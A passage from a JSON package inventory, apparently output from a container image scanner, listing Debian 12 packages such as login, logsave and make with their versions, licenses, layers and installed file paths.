"/usr/include/linux/netfilter_ipv6/ip6t_HL.h", "/usr/include/linux/netfilter_ipv6/ip6t_LOG.h", "/usr/include/linux/netfilter_ipv6/ip6t_NPT.h", "/usr/include/linux/netfilter_ipv6/ip6t_REJECT.h", "/usr/include/linux/netfilter_ipv6/ip6t_ah.h", "/usr/include/linux/netfilter_ipv6/ip6t_frag.h", "/usr/include/linux/netfilter_ipv6/ip6t_hl.h", "/usr/include/linux/netfilter_ipv6/ip6t_ipv6header.h", "/usr/include/linux/netfilter_ipv6/ip6t_mh.h", "/usr/include/linux/netfilter_ipv6/ip6t_opts.h", "/usr/include/linux/netfilter_ipv6/ip6t_rt.h", "/usr/include/linux/netfilter_ipv6/ip6t_srh.h", "/usr/include/linux/netlink.h", "/usr/include/linux/netlink_diag.h", "/usr/include/linux/netrom.h", "/usr/include/linux/nexthop.h", "/usr/include/linux/nfc.h", "/usr/include/linux/nfs.h", "/usr/include/linux/nfs2.h", "/usr/include/linux/nfs3.h", "/usr/include/linux/nfs4.h", "/usr/include/linux/nfs4_mount.h", "/usr/include/linux/nfs_fs.h", "/usr/include/linux/nfs_idmap.h", "/usr/include/linux/nfs_mount.h", "/usr/include/linux/nfsacl.h", "/usr/include/linux/nfsd/cld.h", "/usr/include/linux/nfsd/debug.h", "/usr/include/linux/nfsd/export.h", "/usr/include/linux/nfsd/stats.h", "/usr/include/linux/nilfs2_api.h", "/usr/include/linux/nilfs2_ondisk.h", "/usr/include/linux/nitro_enclaves.h", "/usr/include/linux/nl80211-vnd-intel.h", "/usr/include/linux/nl80211.h", "/usr/include/linux/nsfs.h", "/usr/include/linux/nubus.h", "/usr/include/linux/nvme_ioctl.h", "/usr/include/linux/nvram.h", "/usr/include/linux/omap3isp.h", "/usr/include/linux/omapfb.h", "/usr/include/linux/oom.h", "/usr/include/linux/openat2.h", "/usr/include/linux/openvswitch.h", "/usr/include/linux/packet_diag.h", "/usr/include/linux/param.h", "/usr/include/linux/parport.h", "/usr/include/linux/patchkey.h", "/usr/include/linux/pci.h", "/usr/include/linux/pci_regs.h", "/usr/include/linux/pcitest.h", "/usr/include/linux/perf_event.h", "/usr/include/linux/personality.h", "/usr/include/linux/pfkeyv2.h", "/usr/include/linux/pfrut.h", "/usr/include/linux/pg.h", "/usr/include/linux/phantom.h", "/usr/include/linux/phonet.h", "/usr/include/linux/pidfd.h", "/usr/include/linux/pkt_cls.h", "/usr/include/linux/pkt_sched.h", "/usr/include/linux/pktcdvd.h", "/usr/include/linux/pmu.h", "/usr/include/linux/poll.h", "/usr/include/linux/posix_acl.h", "/usr/include/linux/posix_acl_xattr.h", "/usr/include/linux/posix_types.h", "/usr/include/linux/ppdev.h", "/usr/include/linux/ppp-comp.h", "/usr/include/linux/ppp-ioctl.h", "/usr/include/linux/ppp_defs.h", "/usr/include/linux/pps.h", "/usr/include/linux/pr.h", "/usr/include/linux/prctl.h", "/usr/include/linux/psample.h", "/usr/include/linux/psci.h", "/usr/include/linux/psp-sev.h", "/usr/include/linux/ptp_clock.h", "/usr/include/linux/ptrace.h", "/usr/include/linux/qemu_fw_cfg.h", "/usr/include/linux/qnx4_fs.h", "/usr/include/linux/qnxtypes.h", "/usr/include/linux/qrtr.h", "/usr/include/linux/quota.h", "/usr/include/linux/radeonfb.h", "/usr/include/linux/raid/md_p.h", "/usr/include/linux/raid/md_u.h", "/usr/include/linux/random.h", "/usr/include/linux/rds.h", "/usr/include/linux/reboot.h", "/usr/include/linux/reiserfs_fs.h", "/usr/include/linux/reiserfs_xattr.h", "/usr/include/linux/remoteproc_cdev.h", "/usr/include/linux/resource.h", "/usr/include/linux/rfkill.h", "/usr/include/linux/rio_cm_cdev.h", "/usr/include/linux/rio_mport_cdev.h", "/usr/include/linux/rkisp1-config.h", "/usr/include/linux/romfs_fs.h", "/usr/include/linux/rose.h", "/usr/include/linux/route.h", "/usr/include/linux/rpl.h", "/usr/include/linux/rpl_iptunnel.h", "/usr/include/linux/rpmsg.h", "/usr/include/linux/rpmsg_types.h", "/usr/include/linux/rseq.h", "/usr/include/linux/rtc.h", "/usr/include/linux/rtnetlink.h", "/usr/include/linux/rxrpc.h", "/usr/include/linux/scc.h", "/usr/include/linux/sched.h", "/usr/include/linux/sched/types.h", "/usr/include/linux/scif_ioctl.h", "/usr/include/linux/screen_info.h", "/usr/include/linux/sctp.h", "/usr/include/linux/seccomp.h", "/usr/include/linux/securebits.h", "/usr/include/linux/sed-opal.h", "/usr/include/linux/seg6.h", "/usr/include/linux/seg6_genl.h", "/usr/include/linux/seg6_hmac.h", "/usr/include/linux/seg6_iptunnel.h", "/usr/include/linux/seg6_local.h", "/usr/include/linux/selinux_netlink.h", "/usr/include/linux/sem.h", "/usr/include/linux/serial.h", "/usr/include/linux/serial_core.h", "/usr/include/linux/serial_reg.h", "/usr/include/linux/serio.h", "/usr/include/linux/sev-guest.h", "/usr/include/linux/shm.h", "/usr/include/linux/signal.h", "/usr/include/linux/signalfd.h", "/usr/include/linux/smc.h", "/usr/include/linux/smc_diag.h", "/usr/include/linux/smiapp.h", "/usr/include/linux/snmp.h", "/usr/include/linux/sock_diag.h", "/usr/include/linux/socket.h", "/usr/include/linux/sockios.h", "/usr/include/linux/sonet.h", "/usr/include/linux/sonypi.h", "/usr/include/linux/sound.h", "/usr/include/linux/soundcard.h", "/usr/include/linux/spi/spi.h", "/usr/include/linux/spi/spidev.h", "/usr/include/linux/stat.h", "/usr/include/linux/stddef.h", "/usr/include/linux/stm.h", "/usr/include/linux/string.h", "/usr/include/linux/sunrpc/debug.h", "/usr/include/linux/surface_aggregator/cdev.h", "/usr/include/linux/surface_aggregator/dtx.h", "/usr/include/linux/suspend_ioctls.h", "/usr/include/linux/swab.h", "/usr/include/linux/switchtec_ioctl.h", "/usr/include/linux/sync_file.h", "/usr/include/linux/synclink.h", "/usr/include/linux/sysctl.h", "/usr/include/linux/sysinfo.h", "/usr/include/linux/target_core_user.h", "/usr/include/linux/taskstats.h", "/usr/include/linux/tc_act/tc_bpf.h", "/usr/include/linux/tc_act/tc_connmark.h", "/usr/include/linux/tc_act/tc_csum.h", "/usr/include/linux/tc_act/tc_ct.h", "/usr/include/linux/tc_act/tc_ctinfo.h", "/usr/include/linux/tc_act/tc_defact.h", "/usr/include/linux/tc_act/tc_gact.h", "/usr/include/linux/tc_act/tc_gate.h", "/usr/include/linux/tc_act/tc_ife.h", "/usr/include/linux/tc_act/tc_ipt.h", "/usr/include/linux/tc_act/tc_mirred.h", "/usr/include/linux/tc_act/tc_mpls.h", "/usr/include/linux/tc_act/tc_nat.h", "/usr/include/linux/tc_act/tc_pedit.h", "/usr/include/linux/tc_act/tc_sample.h", "/usr/include/linux/tc_act/tc_skbedit.h", "/usr/include/linux/tc_act/tc_skbmod.h", "/usr/include/linux/tc_act/tc_tunnel_key.h", "/usr/include/linux/tc_act/tc_vlan.h", "/usr/include/linux/tc_ematch/tc_em_cmp.h", "/usr/include/linux/tc_ematch/tc_em_ipt.h", "/usr/include/linux/tc_ematch/tc_em_meta.h", "/usr/include/linux/tc_ematch/tc_em_nbyte.h", "/usr/include/linux/tc_ematch/tc_em_text.h", "/usr/include/linux/tcp.h", "/usr/include/linux/tcp_metrics.h", "/usr/include/linux/tee.h", "/usr/include/linux/termios.h", "/usr/include/linux/thermal.h", "/usr/include/linux/time.h", "/usr/include/linux/time_types.h", "/usr/include/linux/timerfd.h", "/usr/include/linux/times.h", "/usr/include/linux/timex.h", "/usr/include/linux/tiocl.h", "/usr/include/linux/tipc.h", "/usr/include/linux/tipc_config.h", "/usr/include/linux/tipc_netlink.h", "/usr/include/linux/tipc_sockets_diag.h", "/usr/include/linux/tls.h", "/usr/include/linux/toshiba.h", "/usr/include/linux/tty.h", "/usr/include/linux/tty_flags.h", "/usr/include/linux/types.h", "/usr/include/linux/ublk_cmd.h", "/usr/include/linux/udf_fs_i.h", "/usr/include/linux/udmabuf.h", "/usr/include/linux/udp.h", "/usr/include/linux/uhid.h", "/usr/include/linux/uinput.h", "/usr/include/linux/uio.h", "/usr/include/linux/uleds.h", "/usr/include/linux/ultrasound.h", "/usr/include/linux/um_timetravel.h", "/usr/include/linux/un.h", "/usr/include/linux/unistd.h", "/usr/include/linux/unix_diag.h", "/usr/include/linux/usb/audio.h", "/usr/include/linux/usb/cdc-wdm.h", "/usr/include/linux/usb/cdc.h", "/usr/include/linux/usb/ch11.h", "/usr/include/linux/usb/ch9.h", "/usr/include/linux/usb/charger.h", "/usr/include/linux/usb/functionfs.h", "/usr/include/linux/usb/g_printer.h", "/usr/include/linux/usb/g_uvc.h", "/usr/include/linux/usb/gadgetfs.h", "/usr/include/linux/usb/midi.h", "/usr/include/linux/usb/raw_gadget.h", "/usr/include/linux/usb/tmc.h", "/usr/include/linux/usb/video.h", "/usr/include/linux/usbdevice_fs.h", "/usr/include/linux/usbip.h", "/usr/include/linux/userfaultfd.h", "/usr/include/linux/userio.h", "/usr/include/linux/utime.h", "/usr/include/linux/utsname.h", "/usr/include/linux/uuid.h", "/usr/include/linux/uvcvideo.h", "/usr/include/linux/v4l2-common.h", "/usr/include/linux/v4l2-controls.h", "/usr/include/linux/v4l2-dv-timings.h", "/usr/include/linux/v4l2-mediabus.h", "/usr/include/linux/v4l2-subdev.h", "/usr/include/linux/vbox_err.h", "/usr/include/linux/vbox_vmmdev_types.h", "/usr/include/linux/vboxguest.h", "/usr/include/linux/vdpa.h", "/usr/include/linux/vduse.h", "/usr/include/linux/version.h", "/usr/include/linux/veth.h", "/usr/include/linux/vfio.h", "/usr/include/linux/vfio_ccw.h", "/usr/include/linux/vfio_zdev.h", "/usr/include/linux/vhost.h", "/usr/include/linux/vhost_types.h", "/usr/include/linux/videodev2.h", "/usr/include/linux/virtio_9p.h", "/usr/include/linux/virtio_balloon.h", "/usr/include/linux/virtio_blk.h", "/usr/include/linux/virtio_bt.h", "/usr/include/linux/virtio_config.h", "/usr/include/linux/virtio_console.h", "/usr/include/linux/virtio_crypto.h", "/usr/include/linux/virtio_fs.h", "/usr/include/linux/virtio_gpio.h", "/usr/include/linux/virtio_gpu.h", "/usr/include/linux/virtio_i2c.h", "/usr/include/linux/virtio_ids.h", "/usr/include/linux/virtio_input.h", "/usr/include/linux/virtio_iommu.h", "/usr/include/linux/virtio_mem.h", "/usr/include/linux/virtio_mmio.h", "/usr/include/linux/virtio_net.h", "/usr/include/linux/virtio_pci.h", "/usr/include/linux/virtio_pcidev.h", "/usr/include/linux/virtio_pmem.h", "/usr/include/linux/virtio_ring.h", "/usr/include/linux/virtio_rng.h", "/usr/include/linux/virtio_scmi.h", "/usr/include/linux/virtio_scsi.h", "/usr/include/linux/virtio_snd.h", "/usr/include/linux/virtio_types.h", "/usr/include/linux/virtio_vsock.h", "/usr/include/linux/vm_sockets.h", "/usr/include/linux/vm_sockets_diag.h", "/usr/include/linux/vmcore.h", "/usr/include/linux/vsockmon.h", "/usr/include/linux/vt.h", "/usr/include/linux/vtpm_proxy.h", "/usr/include/linux/wait.h", "/usr/include/linux/watch_queue.h", "/usr/include/linux/watchdog.h", "/usr/include/linux/wireguard.h", "/usr/include/linux/wireless.h", "/usr/include/linux/wmi.h", "/usr/include/linux/wwan.h", "/usr/include/linux/x25.h", "/usr/include/linux/xattr.h", "/usr/include/linux/xdp_diag.h", "/usr/include/linux/xfrm.h", "/usr/include/linux/xilinx-v4l2-controls.h", "/usr/include/linux/zorro.h", "/usr/include/linux/zorro_ids.h", "/usr/include/misc/cxl.h", "/usr/include/misc/fastrpc.h", "/usr/include/misc/habanalabs.h", "/usr/include/misc/ocxl.h", "/usr/include/misc/pvpanic.h", "/usr/include/misc/uacce/hisi_qm.h", "/usr/include/misc/uacce/uacce.h", "/usr/include/misc/xilinx_sdfec.h", "/usr/include/mtd/inftl-user.h", "/usr/include/mtd/mtd-abi.h", "/usr/include/mtd/mtd-user.h", "/usr/include/mtd/nftl-user.h", "/usr/include/mtd/ubi-user.h", "/usr/include/rdma/bnxt_re-abi.h", "/usr/include/rdma/cxgb4-abi.h", "/usr/include/rdma/efa-abi.h", "/usr/include/rdma/erdma-abi.h", "/usr/include/rdma/hfi/hfi1_ioctl.h", "/usr/include/rdma/hfi/hfi1_user.h", "/usr/include/rdma/hns-abi.h", "/usr/include/rdma/ib_user_ioctl_cmds.h", "/usr/include/rdma/ib_user_ioctl_verbs.h", "/usr/include/rdma/ib_user_mad.h", "/usr/include/rdma/ib_user_sa.h", "/usr/include/rdma/ib_user_verbs.h", "/usr/include/rdma/irdma-abi.h", "/usr/include/rdma/mlx4-abi.h", "/usr/include/rdma/mlx5-abi.h", "/usr/include/rdma/mlx5_user_ioctl_cmds.h", "/usr/include/rdma/mlx5_user_ioctl_verbs.h", "/usr/include/rdma/mthca-abi.h", "/usr/include/rdma/ocrdma-abi.h", "/usr/include/rdma/qedr-abi.h", "/usr/include/rdma/rdma_netlink.h", "/usr/include/rdma/rdma_user_cm.h", "/usr/include/rdma/rdma_user_ioctl.h", "/usr/include/rdma/rdma_user_ioctl_cmds.h", "/usr/include/rdma/rdma_user_rxe.h", "/usr/include/rdma/rvt-abi.h", "/usr/include/rdma/siw-abi.h", "/usr/include/rdma/vmw_pvrdma-abi.h", "/usr/include/sound/asequencer.h", "/usr/include/sound/asoc.h", "/usr/include/sound/asound.h", "/usr/include/sound/asound_fm.h", "/usr/include/sound/compress_offload.h", "/usr/include/sound/compress_params.h", "/usr/include/sound/emu10k1.h", "/usr/include/sound/firewire.h", "/usr/include/sound/hdsp.h", "/usr/include/sound/hdspm.h", "/usr/include/sound/intel/avs/tokens.h", "/usr/include/sound/sb16_csp.h", "/usr/include/sound/sfnt_info.h", "/usr/include/sound/skl-tplg-interface.h", "/usr/include/sound/snd_ar_tokens.h", "/usr/include/sound/snd_sst_tokens.h", "/usr/include/sound/sof/abi.h", "/usr/include/sound/sof/fw.h", "/usr/include/sound/sof/header.h", "/usr/include/sound/sof/tokens.h", "/usr/include/sound/tlv.h", "/usr/include/sound/usb_stream.h", "/usr/include/video/edid.h", "/usr/include/video/sisfb.h", "/usr/include/video/uvesafb.h", "/usr/include/x86_64-linux-gnu/asm/a.out.h", "/usr/include/x86_64-linux-gnu/asm/amd_hsmp.h", "/usr/include/x86_64-linux-gnu/asm/auxvec.h", "/usr/include/x86_64-linux-gnu/asm/bitsperlong.h", "/usr/include/x86_64-linux-gnu/asm/boot.h", "/usr/include/x86_64-linux-gnu/asm/bootparam.h", "/usr/include/x86_64-linux-gnu/asm/bpf_perf_event.h", "/usr/include/x86_64-linux-gnu/asm/byteorder.h", "/usr/include/x86_64-linux-gnu/asm/debugreg.h", "/usr/include/x86_64-linux-gnu/asm/e820.h", "/usr/include/x86_64-linux-gnu/asm/errno.h", "/usr/include/x86_64-linux-gnu/asm/fcntl.h", "/usr/include/x86_64-linux-gnu/asm/hw_breakpoint.h", "/usr/include/x86_64-linux-gnu/asm/hwcap2.h", "/usr/include/x86_64-linux-gnu/asm/ioctl.h", "/usr/include/x86_64-linux-gnu/asm/ioctls.h", "/usr/include/x86_64-linux-gnu/asm/ipcbuf.h", "/usr/include/x86_64-linux-gnu/asm/ist.h", "/usr/include/x86_64-linux-gnu/asm/kvm.h", "/usr/include/x86_64-linux-gnu/asm/kvm_para.h", "/usr/include/x86_64-linux-gnu/asm/kvm_perf.h", "/usr/include/x86_64-linux-gnu/asm/ldt.h", "/usr/include/x86_64-linux-gnu/asm/mce.h", "/usr/include/x86_64-linux-gnu/asm/mman.h", "/usr/include/x86_64-linux-gnu/asm/msgbuf.h", "/usr/include/x86_64-linux-gnu/asm/msr.h", "/usr/include/x86_64-linux-gnu/asm/mtrr.h", "/usr/include/x86_64-linux-gnu/asm/param.h", "/usr/include/x86_64-linux-gnu/asm/perf_regs.h", "/usr/include/x86_64-linux-gnu/asm/poll.h", "/usr/include/x86_64-linux-gnu/asm/posix_types.h", "/usr/include/x86_64-linux-gnu/asm/posix_types_32.h", "/usr/include/x86_64-linux-gnu/asm/posix_types_64.h", "/usr/include/x86_64-linux-gnu/asm/posix_types_x32.h", "/usr/include/x86_64-linux-gnu/asm/prctl.h", "/usr/include/x86_64-linux-gnu/asm/processor-flags.h", "/usr/include/x86_64-linux-gnu/asm/ptrace-abi.h", "/usr/include/x86_64-linux-gnu/asm/ptrace.h", "/usr/include/x86_64-linux-gnu/asm/resource.h", "/usr/include/x86_64-linux-gnu/asm/sembuf.h", "/usr/include/x86_64-linux-gnu/asm/setup.h", "/usr/include/x86_64-linux-gnu/asm/sgx.h", "/usr/include/x86_64-linux-gnu/asm/shmbuf.h", "/usr/include/x86_64-linux-gnu/asm/sigcontext.h", "/usr/include/x86_64-linux-gnu/asm/sigcontext32.h", "/usr/include/x86_64-linux-gnu/asm/siginfo.h", "/usr/include/x86_64-linux-gnu/asm/signal.h", "/usr/include/x86_64-linux-gnu/asm/socket.h", "/usr/include/x86_64-linux-gnu/asm/sockios.h", "/usr/include/x86_64-linux-gnu/asm/stat.h", "/usr/include/x86_64-linux-gnu/asm/statfs.h", "/usr/include/x86_64-linux-gnu/asm/svm.h", "/usr/include/x86_64-linux-gnu/asm/swab.h", "/usr/include/x86_64-linux-gnu/asm/termbits.h", "/usr/include/x86_64-linux-gnu/asm/termios.h", "/usr/include/x86_64-linux-gnu/asm/types.h", "/usr/include/x86_64-linux-gnu/asm/ucontext.h", "/usr/include/x86_64-linux-gnu/asm/unistd.h", "/usr/include/x86_64-linux-gnu/asm/unistd_32.h", "/usr/include/x86_64-linux-gnu/asm/unistd_64.h", "/usr/include/x86_64-linux-gnu/asm/unistd_x32.h", "/usr/include/x86_64-linux-gnu/asm/vm86.h", "/usr/include/x86_64-linux-gnu/asm/vmx.h", "/usr/include/x86_64-linux-gnu/asm/vsyscall.h", "/usr/include/xen/evtchn.h", "/usr/include/xen/gntalloc.h", "/usr/include/xen/gntdev.h", "/usr/include/xen/privcmd.h", "/usr/share/doc/linux-libc-dev/changelog.Debian.gz", "/usr/share/doc/linux-libc-dev/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "login@1:4.13+dfsg1-1+deb12u2", "Name": "login", "Identifier": { "PURL": "pkg:deb/debian/login@4.13%2Bdfsg1-1%2Bdeb12u2?arch=amd64\u0026distro=debian-12.13\u0026epoch=1", "UID": "38a1786e5b20bfe2" }, "Version": "4.13+dfsg1", "Release": "1+deb12u2", "Epoch": 1, "Arch": "amd64", "SrcName": "shadow", "SrcVersion": "4.13+dfsg1", "SrcRelease": "1+deb12u2", "SrcEpoch": 1, "Licenses": [ "BSD-3-Clause", "GPL-1.0-only", "GPL-2.0-or-later", "public-domain", "GPL-2.0-only" ], "Maintainer": "Shadow package maintainers \u003cpkg-shadow-devel@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/bin/login", "/usr/bin/faillog", "/usr/bin/lastlog", "/usr/bin/newgrp", "/usr/sbin/nologin", "/usr/share/doc/login/NEWS.Debian.gz", "/usr/share/doc/login/changelog.Debian.gz", "/usr/share/doc/login/changelog.gz", "/usr/share/doc/login/copyright", "/usr/share/lintian/overrides/login", "/usr/share/locale/bs/LC_MESSAGES/shadow.mo", "/usr/share/locale/ca/LC_MESSAGES/shadow.mo", "/usr/share/locale/cs/LC_MESSAGES/shadow.mo", "/usr/share/locale/da/LC_MESSAGES/shadow.mo", "/usr/share/locale/de/LC_MESSAGES/shadow.mo", "/usr/share/locale/dz/LC_MESSAGES/shadow.mo", "/usr/share/locale/el/LC_MESSAGES/shadow.mo", "/usr/share/locale/es/LC_MESSAGES/shadow.mo", "/usr/share/locale/eu/LC_MESSAGES/shadow.mo", "/usr/share/locale/fi/LC_MESSAGES/shadow.mo", "/usr/share/locale/fr/LC_MESSAGES/shadow.mo", "/usr/share/locale/gl/LC_MESSAGES/shadow.mo", "/usr/share/locale/he/LC_MESSAGES/shadow.mo", "/usr/share/locale/hu/LC_MESSAGES/shadow.mo", "/usr/share/locale/id/LC_MESSAGES/shadow.mo", "/usr/share/locale/it/LC_MESSAGES/shadow.mo", "/usr/share/locale/ja/LC_MESSAGES/shadow.mo", "/usr/share/locale/ka/LC_MESSAGES/shadow.mo", "/usr/share/locale/kk/LC_MESSAGES/shadow.mo", "/usr/share/locale/km/LC_MESSAGES/shadow.mo", "/usr/share/locale/ko/LC_MESSAGES/shadow.mo", "/usr/share/locale/nb/LC_MESSAGES/shadow.mo", "/usr/share/locale/ne/LC_MESSAGES/shadow.mo", "/usr/share/locale/nl/LC_MESSAGES/shadow.mo", "/usr/share/locale/nn/LC_MESSAGES/shadow.mo", "/usr/share/locale/pl/LC_MESSAGES/shadow.mo", "/usr/share/locale/pt/LC_MESSAGES/shadow.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/shadow.mo", "/usr/share/locale/ro/LC_MESSAGES/shadow.mo", "/usr/share/locale/ru/LC_MESSAGES/shadow.mo", "/usr/share/locale/sk/LC_MESSAGES/shadow.mo", "/usr/share/locale/sq/LC_MESSAGES/shadow.mo", "/usr/share/locale/sv/LC_MESSAGES/shadow.mo", "/usr/share/locale/tl/LC_MESSAGES/shadow.mo", "/usr/share/locale/tr/LC_MESSAGES/shadow.mo", "/usr/share/locale/uk/LC_MESSAGES/shadow.mo", "/usr/share/locale/vi/LC_MESSAGES/shadow.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/shadow.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/shadow.mo", "/usr/share/man/cs/man5/faillog.5.gz", "/usr/share/man/cs/man8/faillog.8.gz", "/usr/share/man/cs/man8/lastlog.8.gz", "/usr/share/man/cs/man8/nologin.8.gz", "/usr/share/man/da/man1/newgrp.1.gz", "/usr/share/man/da/man1/sg.1.gz", "/usr/share/man/da/man8/nologin.8.gz", "/usr/share/man/de/man1/login.1.gz", "/usr/share/man/de/man1/newgrp.1.gz", "/usr/share/man/de/man1/sg.1.gz", "/usr/share/man/de/man5/faillog.5.gz", "/usr/share/man/de/man5/login.defs.5.gz", "/usr/share/man/de/man8/faillog.8.gz", "/usr/share/man/de/man8/lastlog.8.gz", "/usr/share/man/de/man8/nologin.8.gz", "/usr/share/man/fr/man1/login.1.gz", "/usr/share/man/fr/man1/newgrp.1.gz", "/usr/share/man/fr/man1/sg.1.gz", "/usr/share/man/fr/man5/faillog.5.gz", "/usr/share/man/fr/man5/login.defs.5.gz", "/usr/share/man/fr/man8/faillog.8.gz", "/usr/share/man/fr/man8/lastlog.8.gz", "/usr/share/man/fr/man8/nologin.8.gz", "/usr/share/man/hu/man1/login.1.gz", "/usr/share/man/hu/man1/newgrp.1.gz", "/usr/share/man/hu/man8/lastlog.8.gz", "/usr/share/man/id/man1/login.1.gz", "/usr/share/man/it/man1/login.1.gz", "/usr/share/man/it/man1/newgrp.1.gz", "/usr/share/man/it/man1/sg.1.gz", "/usr/share/man/it/man5/faillog.5.gz", "/usr/share/man/it/man5/login.defs.5.gz", "/usr/share/man/it/man8/faillog.8.gz", "/usr/share/man/it/man8/lastlog.8.gz", "/usr/share/man/it/man8/nologin.8.gz", "/usr/share/man/ja/man1/login.1.gz", "/usr/share/man/ja/man1/newgrp.1.gz", "/usr/share/man/ja/man5/faillog.5.gz", "/usr/share/man/ja/man5/login.defs.5.gz", "/usr/share/man/ja/man8/faillog.8.gz", "/usr/share/man/ja/man8/lastlog.8.gz", "/usr/share/man/ko/man1/login.1.gz", "/usr/share/man/man1/login.1.gz", "/usr/share/man/man1/newgrp.1.gz", "/usr/share/man/man1/sg.1.gz", "/usr/share/man/man5/faillog.5.gz", "/usr/share/man/man5/login.defs.5.gz", "/usr/share/man/man8/faillog.8.gz", "/usr/share/man/man8/lastlog.8.gz", "/usr/share/man/man8/nologin.8.gz", "/usr/share/man/pl/man1/newgrp.1.gz", "/usr/share/man/pl/man1/sg.1.gz", "/usr/share/man/pl/man5/faillog.5.gz", "/usr/share/man/pl/man8/faillog.8.gz", "/usr/share/man/pl/man8/lastlog.8.gz", "/usr/share/man/ru/man1/login.1.gz", "/usr/share/man/ru/man1/newgrp.1.gz", "/usr/share/man/ru/man1/sg.1.gz", "/usr/share/man/ru/man5/faillog.5.gz", "/usr/share/man/ru/man5/login.defs.5.gz", "/usr/share/man/ru/man8/faillog.8.gz", "/usr/share/man/ru/man8/lastlog.8.gz", "/usr/share/man/ru/man8/nologin.8.gz", "/usr/share/man/sv/man1/newgrp.1.gz", "/usr/share/man/sv/man1/sg.1.gz", "/usr/share/man/sv/man5/faillog.5.gz", "/usr/share/man/sv/man8/faillog.8.gz", "/usr/share/man/sv/man8/lastlog.8.gz", "/usr/share/man/sv/man8/nologin.8.gz", "/usr/share/man/tr/man1/login.1.gz", "/usr/share/man/uk/man1/login.1.gz", "/usr/share/man/uk/man1/newgrp.1.gz", "/usr/share/man/uk/man1/sg.1.gz", "/usr/share/man/uk/man5/faillog.5.gz", "/usr/share/man/uk/man5/login.defs.5.gz", "/usr/share/man/uk/man8/faillog.8.gz", "/usr/share/man/uk/man8/lastlog.8.gz", "/usr/share/man/uk/man8/nologin.8.gz", "/usr/share/man/zh_CN/man1/login.1.gz", "/usr/share/man/zh_CN/man1/newgrp.1.gz", "/usr/share/man/zh_CN/man1/sg.1.gz", "/usr/share/man/zh_CN/man5/faillog.5.gz", "/usr/share/man/zh_CN/man5/login.defs.5.gz", "/usr/share/man/zh_CN/man8/faillog.8.gz", "/usr/share/man/zh_CN/man8/lastlog.8.gz", "/usr/share/man/zh_CN/man8/nologin.8.gz", "/usr/share/man/zh_TW/man1/newgrp.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "logsave@1.47.0-2+b2", "Name": "logsave", "Identifier": { "PURL": "pkg:deb/debian/logsave@1.47.0-2%2Bb2?arch=amd64\u0026distro=debian-12.13", "UID": "bf501a5a2c76d061" }, "Version": "1.47.0", "Release": "2+b2", "Arch": "amd64", "SrcName": "e2fsprogs", "SrcVersion": "1.47.0", "SrcRelease": "2", "Licenses": [ "GPL-2.0-only", "LGPL-2.0-only", "BSD-3-Clause", "Apache-2.0", "ISC", "GPL-2.0-or-later", "MIT-US-export", "Kazlib", "Latex2e", "GPL-2+ with Texinfo exception" ], "Maintainer": "Theodore Y. Ts'o \u003ctytso@mit.edu\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/sbin/logsave", "/usr/share/doc/logsave/changelog.Debian.amd64.gz", "/usr/share/doc/logsave/changelog.Debian.gz", "/usr/share/doc/logsave/copyright", "/usr/share/man/man8/logsave.8.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "make@4.3-4.1", "Name": "make", "Identifier": { "PURL": "pkg:deb/debian/make@4.3-4.1?arch=amd64\u0026distro=debian-12.13", "UID": "e4c48b88b99b7fb3" }, "Version": "4.3", "Release": "4.1", "Arch": "amd64", "SrcName": "make-dfsg", "SrcVersion": "4.3", "SrcRelease": "4.1", "Licenses": [ "GPL-3.0-or-later", "GPL-3.0-only" ], "Maintainer": "Manoj Srivastava \u003csrivasta@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/bin/make", "/usr/bin/make-first-existing-target", "/usr/include/gnumake.h", "/usr/share/doc/make/ABOUT-NLS.gz", "/usr/share/doc/make/AUTHORS", "/usr/share/doc/make/Explanations.gz", "/usr/share/doc/make/NEWS.Debian.gz", "/usr/share/doc/make/NEWS.gz", "/usr/share/doc/make/README.Debian-Source", "/usr/share/doc/make/README.customs.gz", "/usr/share/doc/make/README.gz", "/usr/share/doc/make/changelog.Debian.gz", "/usr/share/doc/make/changelog.gz", "/usr/share/doc/make/copyright", "/usr/share/locale/be/LC_MESSAGES/make.mo", "/usr/share/locale/bg/LC_MESSAGES/make.mo", "/usr/share/locale/cs/LC_MESSAGES/make.mo", "/usr/share/locale/da/LC_MESSAGES/make.mo", "/usr/share/locale/de/LC_MESSAGES/make.mo", "/usr/share/locale/es/LC_MESSAGES/make.mo", "/usr/share/locale/fi/LC_MESSAGES/make.mo", "/usr/share/locale/fr/LC_MESSAGES/make.mo", "/usr/share/locale/ga/LC_MESSAGES/make.mo", "/usr/share/locale/gl/LC_MESSAGES/make.mo", "/usr/share/locale/he/LC_MESSAGES/make.mo", "/usr/share/locale/hr/LC_MESSAGES/make.mo", "/usr/share/locale/id/LC_MESSAGES/make.mo", "/usr/share/locale/it/LC_MESSAGES/make.mo", "/usr/share/locale/ja/LC_MESSAGES/make.mo", "/usr/share/locale/ko/LC_MESSAGES/make.mo", "/usr/share/locale/lt/LC_MESSAGES/make.mo", "/usr/share/locale/nl/LC_MESSAGES/make.mo", "/usr/share/locale/pl/LC_MESSAGES/make.mo", "/usr/share/locale/pt/LC_MESSAGES/make.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/make.mo", "/usr/share/locale/ru/LC_MESSAGES/make.mo", "/usr/share/locale/sr/LC_MESSAGES/make.mo", "/usr/share/locale/sv/LC_MESSAGES/make.mo", "/usr/share/locale/tr/LC_MESSAGES/make.mo", "/usr/share/locale/uk/LC_MESSAGES/make.mo", "/usr/share/locale/vi/LC_MESSAGES/make.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/make.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/make.mo", "/usr/share/man/man1/make-first-existing-target.1.gz", 